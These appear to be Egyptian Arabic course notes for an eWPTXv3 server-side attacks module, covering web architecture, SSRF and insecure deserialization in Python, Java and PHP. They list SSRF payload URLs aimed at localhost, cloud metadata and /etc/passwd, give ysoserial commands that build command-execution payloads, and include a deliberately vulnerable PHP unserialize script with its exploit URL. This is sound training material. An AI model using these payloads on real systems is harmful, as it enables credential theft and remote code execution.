الإطار والهيكل اللي بيحدّد إزاي مكوّنات تطبيق الويب بتتفاعل مع بعض وبتشتغل سوا عشان توصل التطبيق للمستخدمين — بيشمل تصميم الواجهة الأمامية (Front-end)، الخلفية (Back-end)، تخزين البيانات، والتواصل بينهم. بدون بنية متينة، حتى أكتر التطبيقات ابتكارًا ممكن تفشل في تلبية توقعات المستخدمين أو أهداف العمل.
فهم بنية السيرفر الداخلية مهم جدًا في سياق "هجمات جهة السيرفر" — لأن ثغرات زي SSRF وInsecure Deserialization غالبًا بتستغل علاقات الثقة الداخلية، تدفّق البيانات، وتفاعلات المكوّنات جوه البنية. فهمك للبنية بيخلّيك تقترب من الهجمات دي بدقة، تكتشف عيوب خفيّة، وتوصي بإجراءات معالجة مستهدَفة.
| النموذج | الوصف | أفضل استخدام |
|---|---|---|
| Layered | تنظيم المكوّنات في طبقات منفصلة (عرض، منطق عمل، بيانات) | تطبيقات Monolithic تقليدية |
| Microservices | خدمات صغيرة مستقلة بتعالج وظائف عمل محدَّدة، بتتواصل عبر APIs | تطبيقات كبيرة ومعقّدة وقابلة للتوسّع |
| SOA | خدمات مركزية قابلة لإعادة الاستخدام تُدار عبر Enterprise Service Bus | تكاملات على مستوى المؤسسة |
| Event-Driven | عمليات تُشغَّل عبر إجراءات مستخدم أو أحداث نظام، غالبًا بشكل غير متزامن | أنظمة لحظية زي التجارة الإلكترونية أو IoT |
| Serverless | دوال تُشغَّل بالأحداث ويديرها مزوّد سحابي (FaaS) | أعباء عمل خفيفة ومدفوعة بالأحداث |
| Monolithic | كل مكوّنات التطبيق مجمَّعة في وحدة واحدة | تطبيقات صغيرة أو شركات ناشئة في مراحلها الأولى |
| Distributed | التطبيق منتشر عبر عدة أنظمة أو عُقَد مترابطة | أنظمة عالية القابلية للتوسّع وتحمّل الأعطال |
بتنظّم التطبيق في طبقات منفصلة، كل واحدة مسؤولة عن مهام محدَّدة: Presentation Layer (تفاعلات المستخدم — متصفحات، تطبيقات موبايل)، Business Logic Layer (سيرفر التطبيق — معالجة الطلبات وتطبيق المنطق والتفاعل مع قاعدة البيانات)، وData Access Layer (إدارة تخزين واسترجاع البيانات). الطبقات بتتواصل هرميًا، غالبًا من أعلى لأسفل — الأنسب للتطبيقات التقليدية اللي محتاجة فصل واضح للأدوار.
بيقسّم التطبيق لخدمات صغيرة مستقلة، كل واحدة بتتعامل مع قدرة عمل محدَّدة (مصادقة المستخدم، معالجة الدفع). كل خدمة مفكوكة الارتباط (Loosely Coupled) وقابلة للنشر بشكل مستقل، بتتواصل مع خدمات تانية عبر APIs (REST، gRPC)، وغالبًا عندها قاعدة بياناتها الخاصة. مثالي للتطبيقات الكبيرة اللي محتاجة مرونة وقابلية توسّع ونشر مستمر، وبيسمح باستخدام تقنيات مختلفة لخدمات مختلفة (Polyglot Programming).
الواجهة الأمامية اللي العميل بيتفاعل معها — موقع بيوفّر تصفّح وبحث المنتجات، سلة الشراء، وإدارة الحساب. بيشتغل في متصفحات الويب وبيبعت طلبات HTTP للسيرفر.
بيتعامل مع طلبات HTTP/HTTPS الواردة، بيقدّم الملفات الثابتة (صور، CSS، JS)، بيعمل كـ Reverse Proxy بيحوّل الطلبات الديناميكية لسيرفر التطبيق (uWSGI)، وبيوفّر موازنة الحمل لو فيه أكتر من سيرفر تطبيق.
بيعالج الطلبات الديناميكية اللي وصلت من Nginx، بينفّذ منطق العمل ويدير العمليات الخلفية — مصادقة المستخدم، منطق سلة الشراء، معالجة الطلبات.
واجهات مهيكلة للتواصل بين سيرفر التطبيق والأنظمة الخارجية/الداخلية — API معلومات المنتج (توافر، سعر، وصف) وAPI إدارة الطلبات (تتبّع وحالة الطلب).
بتخزّن كتالوج المنتجات، بيانات العملاء، وسجل الطلبات والمعاملات — مستضافة على سيرفر منفصل لقابلية التوسّع والأمان. سيرفر التطبيق بيتصل بـ MongoDB عبر Driver زي PyMongo لـ Python.
بيشاور للعمليات والمنطق والبنية التحتية اللي بتشتغل على السيرفر مش على العميل — بيعالج مهام حرجة زي معالجة الطلبات، تنفيذ منطق العمل، التواصل مع قواعد البيانات وAPIs، والتكامل مع خدمات داخلية. هجمات Server-Side بتستغل ضعف في طريقة معالجة السيرفر للمدخلات، تواصله مع أنظمة تانية، وإدارته للموارد — بعكس هجمات Client-Side اللي بتستهدف المكوّنات المواجهة للمستخدم.
| الجانب | Web Server | Application Server |
|---|---|---|
| الدور | يقدّم محتوى ثابت، يوجّه الطلبات | ينفّذ منطق العمل، يولّد استجابات ديناميكية |
| التفاعل | يتواصل مع العملاء (HTTP/HTTPS) | يتواصل مع قواعد البيانات وAPIs والخدمات |
| المعالجة | مهام خفيفة (تقديم ملفات ثابتة) | معالجة ثقيلة (معالجة بيانات) |
| المخرجات | ملفات (HTML، CSS، JavaScript) | بيانات محسوبة (JSON، HTML) |
| أمثلة | Apache، Nginx، IIS | Node.js، Django، Spring Boot |
../../etc/passwd)Server-Side Request Forgery ثغرة بتخلّي المهاجم يخدع السيرفر عشان ينفّذ طلبات غير مصرَّح بها لموارد داخلية أو خارجية نيابةً عنه — الطلبات دي بتبدأها التطبيق الضعيف لكن بيتحكّم فيها المهاجم، وغالبًا بتؤدي لكشف بيانات حساسة أو الوصول لأنظمة مقيَّدة.
أدوات جلب الصور أو مولّدات معاينة الروابط اللي بتنزّل محتوى من روابط يحدّدها المستخدم، وتكاملات API اللي السيرفر فيها بيعالج مدخل المستخدم كجزء من طلب خارجي.
البحث عن وظيفة بيجلب فيها التطبيق موارد أو محتوى من رابط يقدّمه المستخدم (أدوات تنزيل ملفات، Webhooks، أو أدوات اختبار API).
صياغة رابط خبيث بيشاور لمورد داخلي أو غير مصرَّح به — سيرفرات داخلية (http://localhost، http://127.0.0.1) أو نقاط نهاية Metadata السحابية (http://169.254.169.254 على AWS).
سيرفر التطبيق بيعالج الرابط اللي تحت تحكّم المهاجم وينفّذ الطلب — ثقة السيرفر في شبكته بتسمح بالوصول لموارد مقيَّدة أصلًا.
المهاجم يقدر يسترجع معلومات حساسة (بيانات خدمة داخلية، بيانات اعتماد). في الحالات المتقدّمة، ممكن يستخدم SSRF لفحص منافذ على أنظمة داخلية أو ربط الهجوم بثغرات تانية (فك تسلسل، RCE).
http://example.com/fetch?url=http://attacker.com/malicious.png → يتعدّل لـ ...url=http://localhost/admin.http://127.0.0.1:80.http://169.254.169.254/latest/meta-data/)، أو الوصول لخدمات داخلية حساسة تؤدي لتصعيد صلاحيات أو حركة جانبية.عملية تحويل أوبجكت أو بنية بيانات (أوبجكت Python، Java، أو C#) لصيغة سهلة التخزين أو النقل، وبعدين يُعاد بناؤها (Deserialization) لاحقًا. الصيغة المُسلسَلة غالبًا بتكون Byte Stream، صيغة نصية (JSON، XML)، أو تمثيل ثنائي. المستلم المفروض يقدر يعيد بناء الأوبجكت لشكله الأصلي من غير تغيير.
البيانات المُسلسَلة عادة مش مشفَّرة ولا موقَّعة افتراضيًا — ده يعني إنها لو اتُعرِضت، ممكن يتم العبث بيها بحرّية، وده ممكن يؤدي لسلوك غير متوقَّع أو خبيث في المكوّن المسؤول عن فك التسلسل. بعض بروتوكولات النقل بتدمج التسلسل مع الضغط أو التشفير اللي ممكن يخفي أو يؤمّن البيانات، لكن غالبًا بتظهر بصيغة نصية غير محمية — ده بالضبط اللي بيديه فرصة للمختبر أو المهاجم يحلّل ويتلاعب في البيانات.
ثغرة بتحدث لما بيانات غير موثوقة أو يتحكّم فيها المستخدم بتتعرّض لعملية فك تسلسل بدون تحقّق أو فحوصات أمنية مناسبة — ممكن تؤدي لعواقب وخيمة زي تنفيذ كود عن بُعد (RCE)، تصعيد صلاحيات، أو تلاعب بالبيانات.
| التأثير | الوصف |
|---|---|
| Remote Code Execution | حقن حمولات تستغل عملية فك التسلسل لتنفيذ كود عشوائي على السيرفر |
| Privilege Escalation | العبث بالبيانات المُسلسَلة لتصعيد الصلاحيات أو انتحال مستخدمين بتعديل توكنات/أوبجكتس جلسة |
| Data Tampering | تغيير قيم البيانات المُسلسَلة للتلاعب في سلوك التطبيق (مثل زيادة رصيد حساب) |
| Application Logic Abuse | حقن أوبجكتس تستدعي وظائف غير مقصودة أثناء فك التسلسل |
| Denial of Service | صياغة بيانات مُسلسَلة تستنزف موارد السيرفر أثناء فك التسلسل وتسبّب تعطّل التطبيق |
Pickle موديول Python لتسلسل وفك تسلسل أوبجكتس Python — بيحوّل الأوبجكت لـ Byte Stream يمكن تخزينه أو نقله، والعكس عبر فك التسلسل لإعادة بناء الأوبجكت الأصلي في الذاكرة.
import pickle
# أوبجكت مثال:
data = {"name": "Alice", "age": 30, "roles": ["admin", "user"]}
# تسلسل الأوبجكت:
serialized_data = pickle.dumps(data)
print("Serialized Data:", serialized_data)
# فك تسلسل الأوبجكت:
deserialized_data = pickle.loads(serialized_data)
print("Deserialized Data:", deserialized_data)
pickle.loads() على بيانات قادمة من مصدر غير موثوق خطر جدًا — صيغة Pickle قادرة تنفّذ كود عشوائي أثناء فك التسلسل عبر دوال زي __reduce__، وده بيخليها من أخطر أشكال فك التسلسل غير الآمن في بايثون.
Java بتستخدم واجهة Serializable لتحديد الأوبجكتس القابلة للتسلسل، ومدعومة بشكل مدمج عبر كلاسات ObjectOutputStream وObjectInputStream. أي بيانات ثنائية تبدأ بالبايتات ac ed 00 05 غالبًا تحتوي أوبجكتس Java مُسلسَلة — ده توقيع صيغة Java Serialized القياسي.
حالة قابلة للاستغلال في Java بتحدث لما readObject() أو دالة مشابهة تُستدعى على أوبجكت يتحكّم فيه المستخدم، وبعدين دالة على الأوبجكت ده بتُستدعى. المهاجم يقدر يصنع أوبجكت بخصائص متداخلة متعدّدة، بحيث عند استدعائها بتنفّذ شيء مختلف تمامًا — مثلًا اختطاف الدالة المُستدعاة عبر Dynamic Proxy وInvocation Handler في خصائص الأوبجكت المُسلسَل.
كل خاصية أو دالة جزء من أوبجكت استغلال متداخل بتُسمى Gadget. بعض مكتبات Java معروفة باحتوائها Gadgets عامة تُستخدَم لبناء أوبجكتس استغلال مُسلسَلة — بتُسمى Gadget Libraries. ده مش معناه إن المكتبات دي غير آمنة بالتصميم، لكن لو فك تسلسل غير آمن حصل وهي محمَّلة جوه Classpath التطبيق، المهاجم يقدر يستغلها لبناء سلسلة Gadgets معروفة تؤدي لاستغلال ناجح. أشهر مثال: CommonsCollections (الإصدارات 1-6).
أداة بـ Java مصمَّمة لتوليد حمولات مُسلسَلة خبيثة لاستغلال ثغرات فك التسلسل غير الآمن — بتستغل ثغرات معروفة في مكتبات Java شهيرة (Apache Commons Collections، Spring، وغيرها) لصنع حمولات تنفّذ أوامر عشوائية أثناء فك التسلسل.
java -jar ysoserial.jar CommonsCollections1 "whoami" > payload.ser
# الحمولة الناتجة بتتبعت للتطبيق الهدف عبر Cookies أو طلبات HTTP أو ملفات
# لما التطبيق يفكّ تسلسل الحمولة، الأمر "whoami" بيتنفّذ على السيرفر
دالة serialize() بتحوّل أوبجكت أو مصفوفة أو قيمة PHP لسلسلة نصية، ودالة unserialize() بتعكس العملية. الصياغة العامة:
O:<length>:"<class_name>":<num_properties>:{<property_name>;<property_value>;}
# مثال فعلي لكلاس User بخاصيتين:
O:4:"User":2:{s:4:"name";s:5:"Alice";s:4:"role";s:5:"admin";}
# O = Object | 4 = طول اسم الكلاس | "User" = اسم الكلاس | 2 = عدد الخصائص
# s:4:"name" = اسم الخاصية (نص بطول 4) | s:5:"Alice" = القيمة (نص بطول 5)
| الدالة | متى تُستدعى |
|---|---|
__wakeup() | تلقائيًا أثناء فك التسلسل — غالبًا لإعادة تهيئة خصائص الأوبجكت |
__destruct() | عند تدمير الأوبجكت (مثلًا في نهاية السكريبت) |
__toString() | لما الأوبجكت يُعامَل كنص |
__sleep() | أثناء التسلسل — لتنظيف أو تجهيز خصائص الأوبجكت |
__call() | عند استدعاء دالة غير مُعرَّفة |
المهاجمون بيستغلوا الـ Magic Methods بزرع منطق خبيث جوه الحمولة المُسلسَلة — لما التطبيق يفكّ تسلسل الحمولة، دوال زي __wakeup() أو __destruct() بتتنفّذ تلقائيًا بدون أي تدخّل إضافي من المهاجم.
<?php
class User {
public $name;
public $role;
public function __destruct() {
if ($this->role === "admin") {
echo "Access Granted! Admin privileges.";
}
}
}
if (isset($_GET['data'])) {
$data = $_GET['data'];
$user = unserialize($data); // عرضة للاستغلال
}
?>
# المهاجم بيصنع حمولة مُسلسَلة:
# O:4:"User":2:{s:4:"name";s:8:"EvilUser";s:4:"role";s:5:"admin";}
# ويبعتها عبر GET:
http://example.com/vuln.php?data=O:4:"User":2:{s:4:"name";s:8:"EvilUser";s:4:"role";s:5:"admin";}
# unserialize() بيعيد بناء الأوبجكت
# __destruct() بيتنفّذ تلقائيًا → "Access Granted! Admin privileges."
localhost، 127.0.0.1) ونقاط Metadata السحابية (169.254.169.254) كخطوة أولىhttp://localhost
http://127.0.0.1
http://169.254.169.254/latest/meta-data/ # AWS metadata
http://metadata.google.internal/computeMetadata/v1/ # GCP metadata
file:///etc/passwd
http://[::1]/ # IPv6 localhost bypass
java -jar ysoserial.jar CommonsCollections1 "id" > payload.ser
java -jar ysoserial.jar CommonsCollections5 "whoami" > payload.ser
java -jar ysoserial.jar Spring1 "touch /tmp/pwned" > payload.ser
__wakeup() — أول هدف لاستغلال فك التسلسل__destruct() — بيتنفّذ تلقائيًا حتى لو السكريبت انتهى عاديًا__toString() — لو الأوبجكت اتطبع أو اتستخدم كنص| # | التحقق | الطريقة | النتيجة المحتملة |
|---|---|---|---|
| 1 | فيه وظيفة بتجلب صورة أو محتوى من رابط يحدّده المستخدم؟ | تعديل المعامل لـ localhost | SSRF أساسي |
| 2 | التطبيق مستضاف على AWS/GCP/Azure؟ | طلب نقطة Metadata السحابية | تسريب بيانات اعتماد IAM |
| 3 | كوكي أو باراميتر يبدأ ببايتات ac ed 00 05؟ | فحص Hex للقيمة | Java Serialized Object |
| 4 | كوكي أو باراميتر يبدأ بـ O: أو a:؟ | فحص الصياغة | PHP Serialized Object |
| 5 | فك تسلسل Python عبر Pickle على مدخل مستخدم؟ | فحص استخدام pickle.loads() | RCE محتمل عبر __reduce__ |
الموديول ده غطّى هجمات جهة السيرفر بعمق — بدايةً من فهم بنية تطبيقات الويب الحديثة وطبقاتها، مرورًا بـ SSRF بكل أنواعه وتشريحه الكامل، ووصولًا لاستغلال فك التسلسل غير الآمن عبر Python وJava وPHP.
__wakeup() و__destruct()) هي المفتاح لتحويل فك تسلسل بسيط لتنفيذ كود فعليالفكرة الجوهرية للموديول: هجمات جهة السيرفر كلها بتستغل نفس الثغرة الجوهرية — ثقة ضمنية غير مُتحقَّق منها. سواء كانت ثقة في رابط يقدّمه المستخدم (SSRF) أو ثقة في بيانات مُسلسَلة قادمة من خارج التطبيق (Insecure Deserialization)، المبدأ واحد: السيرفر بيفترض إن اللي جاله شرعي بدون ما يتحقّق فعليًا.
قبل ما تفترض إن ثغرة SSRF أو فك تسلسل "محدودة التأثير"، افحص دايمًا إيه اللي ممكن توصله من خلالها — خدمات داخلية، Metadata سحابية، أو مكتبات فك تسلسل محمَّلة جوه Classpath التطبيق. أعظم تأثير في هجمات Server-Side بييجي من ربط الثغرة بسلسلة هجوم أكبر، مش من استغلالها بمعزل عن السياق.
نهاية نوتس الموديول السادس — Server-Side Attacks (eWPTXv3)